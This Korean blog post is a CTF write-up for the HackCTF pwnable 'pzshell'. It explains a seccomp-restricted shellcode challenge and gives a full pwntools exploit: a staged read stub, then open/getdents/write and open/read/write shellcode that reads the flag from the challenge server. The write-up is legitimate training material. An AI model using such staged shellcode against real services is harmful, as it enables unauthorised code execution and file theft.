문제 풀이 환경 : ubuntu 18.04 |
shellcode랑 친하지 않은 나2...
주어진 파일은 바이너리 파일과 c코드
Analysis
mitigation
미티게이션...?은 아니지만 미티게이션 느낌이 나는 seccomp도 걸려있다 ㅠ_ㅠ
execution
뭐 제대로 입력도 안했는데 세폴뜬다. 코드를 확인해보자.
code
세콤이 걸려있다. 저 함수들은 쓰면 안된다. 바로 직전 문제 ezshell에서 사용했던 execve 함수는 사용하지 못한다...
그래서 open read write를 하기로 했다.
필터는 syscall만 걸려있는데, result 첫부분을 보면 syscall이 있다. 이 전의 ezshell문제처럼 syscall을 사용할 때 저기로 jmp를 해줘야 겠다.
이 문제에서 보면 read함수로 8만큼만 입력을 받을 수 있는데(ㅠㅠ) 사이즈가 너무 작으니, 여기다가 사이즈를 크게크게 해서 read함수를 먼저 호출시켜 쉘코드를 두 개 작성해야겠다.
이 전 문제도 그렇게 풀면 더 쉽게 풀 수 있었는데(for문의 필터링 과정을 안거쳐도 됨) 그렇게 풀 걸 그랬다.
그런데 이 문제는 이 바이너리 자체에 세콤이 걸려있는거라서 여전히 execve 함수는 실행할 수 없다는 것을 명심해야 한다. 하지만 open, read, write 과정 사이사이의 syscall은 우회를 하지 않아도 된다.
참고로 result 쉘코드는 아래와 같다.
맨 마지막에 mov si 어쩌구에서 si이 뭔가 싶었는데
그냥 RSI 레지스터에 값 넣는거 같다 ㅎㅎ;
코드를 보면서 좀 주절주절 떠든거 같은데... 그럼 익스플로잇 시나리오를 작성해보자.
Exploit Scenario
Summary
1) flag 파일 이름 알아내기
- 사이즈 크게하여 read함수 호출
- read 함수의 입력으로 디렉토리를 열어 getdents syscall로 디렉토리 읽고 write로 화면에 띄우기
2) flag 파일 읽기
- 사이즈 크게하여 read함수 호출
- read 함수의 입력으로 orw 주기
In detail
flag 파일 이름 알아내기
바로 orw 하려고 했는데, 생각해보니 파일 이름을 모른다 ㅋㅋㅋㅋㅋ 그래서 우리는 파일이름부터 알아내야 한다.
구글에 orw 파일이름 이라고 구글링하니까 아래와 같은 블로그 떠서 익스 코드 거의 복붙한 거 같다 ㅎㅎ;
getdents syscall도 여기서 알았다. (디렉토리에 저장되어 있는 파일들을 읽어옴)
open함수로 현재 디렉토리를 열고 그 뒤에 getdents+write하기
payload = ''
payload += asm('mov rsp,QWORD PTR fs:[0]')
payload += asm(shellcraft.open('.'))
payload += asm(shellcraft.getdents(3, 'rsp', 0x500))
payload += asm(shellcraft.write(1, 'rsp', 0x500))
context(arch="amd64", log_level = 'DEBUG')
를 상단에 추가하여 flag 파일 이름을 저렇게 바로 읽을 수 있다!
flag 파일 읽기
이름도 알아냈으니 open read write하여 flag파일 내용을 화면에 띄우면 된다.
Exploit Code
from pwn import *
context(arch="amd64", log_level = 'DEBUG')
#p = process('./pzshell')
p = remote('ctf.j0n9hyun.xyz', 3038)
e = ELF('./pzshell')
# read
payload = ''
payload += asm('xchg rsi, rdx')
payload += '\xE9\xC5\xFF\xFF\xFF' # jmp syscall..
#pause()
p.send(payload)
# find filename
# open, getdents, write
payload = ''
payload += asm('mov rsp,QWORD PTR fs:[0]')
#payload += asm(shellcraft.open('.'))
#payload += asm(shellcraft.getdents(3, 'rsp', 0x500))
#payload += asm(shellcraft.write(1, 'rsp', 0x500))
# file name : S3cr3t_F14g
payload += asm(shellcraft.open('S3cr3t_F14g'))
payload += asm(shellcraft.read(3, 'rsp', 0x100))
payload += asm(shellcraft.write(1, 'rsp', 0x100))
p.send(payload)
p.interactive()
shellcraft 짱짱
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] wishlist 풀이 (64bit, uaf, stack pivoting) (0) | 2021.04.30 |
---|---|
[HackCTF : Pwnable] ezshell 풀이 (64bit, shellcode) (0) | 2021.04.30 |
[HackCTF : Pwnable] World Best Encryption Tool 풀이 (64bit, leak) (0) | 2021.04.28 |
[HackCTF : Pwnable] adultfsb 풀이 (64bit, FSB) (0) | 2021.04.26 |
[HackCTF : Pwnable] childfsb 풀이 (64bit, FSB) (0) | 2021.04.26 |